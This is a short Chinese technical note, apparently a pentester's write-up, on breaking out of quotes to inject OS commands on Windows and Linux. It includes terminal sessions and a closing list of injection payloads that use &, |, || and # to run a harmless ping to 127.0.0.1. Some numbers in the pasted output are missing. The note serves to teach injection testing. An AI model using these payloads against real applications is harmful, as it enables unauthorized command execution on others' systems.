关于OS命令注入的闭合问题

1、在Windows下

 windows下非常好办，只需要&肯定可以执行：
 C:\Users\xxx\Desktop>aaaa | ping -n  127.0.0.1
 'aaaa' 不是内部或外部命令，也不是可运行的程序
 或批处理文件。

 C:\Users\xxx\Desktop>C:\Users\chenran01.ESG\Desktop\test.bat

 C:\Users\xxx\Desktop>aaaa' | ping -n 5 127.0.0.1
 'aaaa'' 不是内部或外部命令，也不是可运行的程序
 或批处理文件。

 C:\Users\xxx\Desktop>C:\Users\chenran01.ESG\Desktop\test.bat

 C:\Users\xxx\Desktop>aaaa' & ping -n 5 127.0.0.1
 'aaaa'' 不是内部或外部命令，也不是可运行的程序
 或批处理文件。

 正在 Ping 127.0.0.1 具有  字节的数据:
 来自 127.0.0.1 的回复: 字节= 时间<1ms TTL=
 来自 127.0.0.1 的回复: 字节= 时间<1ms TTL=
 来自 127.0.0.1 的回复: 字节= 时间<1ms TTL=
 来自 127.0.0.1 的回复: 字节= 时间<1ms TTL=
 来自 127.0.0.1 的回复: 字节= 时间<1ms TTL=

 127.0.0.1 的 Ping 统计信息:
     数据包: 已发送 = ，已接收 = ，丢失 =  (% 丢失)，
 往返行程的估计时间(以毫秒为单位):
     最短 = 0ms，最长 = 0ms，平均 = 0ms

 C:\Users\xxx\Desktop>

或者把&换成||上文中的例子也可以执行。

2、在Linux下：

在Linux下就显得复杂一些了

先来看一个可以执行的例子：

 $ 'aaaa'|ping -c  127.0.0.1 # ''
 -bash: aaaa: command not found
 PING 127.0.0.1 (127.0.0.1) () bytes of data.
  bytes from 127.0.0.1: icmp_seq= ttl= time=0.042 ms
  bytes from 127.0.0.1: icmp_seq= ttl= time=0.072 ms
  bytes from 127.0.0.1: icmp_seq= ttl= time=0.068 ms
  bytes from 127.0.0.1: icmp_seq= ttl= time=0.054 ms

# ' 来闭合最后的'从而达到了命令注入执行，如果去掉#就发现不行了

 $ 'aaaa|ping -c 4 127.0.0.1  ''
 > 

类似的这种需要闭合前面的'

 $ 'aaaa'|ping -c  127.0.0.1
 -bash: aaaa: command not found
 PING 127.0.0.1 (127.0.0.1) () bytes of data.
  bytes from 127.0.0.1: icmp_seq= ttl= time=0.063 ms
  bytes from 127.0.0.1: icmp_seq= ttl= time=0.072 ms
  bytes from 127.0.0.1: icmp_seq= ttl= time=0.066 ms
  bytes from 127.0.0.1: icmp_seq= ttl= time=0.062 ms

 --- 127.0.0.1 ping statistics ---
  packets transmitted,  received, % packet loss, time 3000ms
 rtt min/avg/max/mdev = 0.062/0.065/0.072/0.010 ms
 $ 'aaaa|ping -c 4 127.0.0.1
 > 

上面是使用|的一些例子，下面来看看&

 $ 'aaa'&ping -c  127.0.0.1
 []
 -bash: aaa: command not found
 PING 127.0.0.1 (127.0.0.1) () bytes of data.
  bytes from 127.0.0.1: icmp_seq= ttl= time=0.066 ms
  bytes from 127.0.0.1: icmp_seq= ttl= time=0.069 ms
  bytes from 127.0.0.1: icmp_seq= ttl= time=0.057 ms
  bytes from 127.0.0.1: icmp_seq= ttl= time=0.067 ms

 --- 127.0.0.1 ping statistics ---
  packets transmitted,  received, % packet loss, time 2999ms
 rtt min/avg/max/mdev = 0.057/0.064/0.069/0.010 ms
 []+  Exit                 'aaa'
 $ 

综上闭合OS执行的payload只需：

 #windows：
 'aaa&ping 127.0.0.1&'
 'aaa||ping 127.0.0.1||'
 #linux下：
 'aaa'&ping -c  127.0.0.1
 'aaa'|ping -c  127.0.0.1
 'aaa'|ping -c  127.0.0.1# ''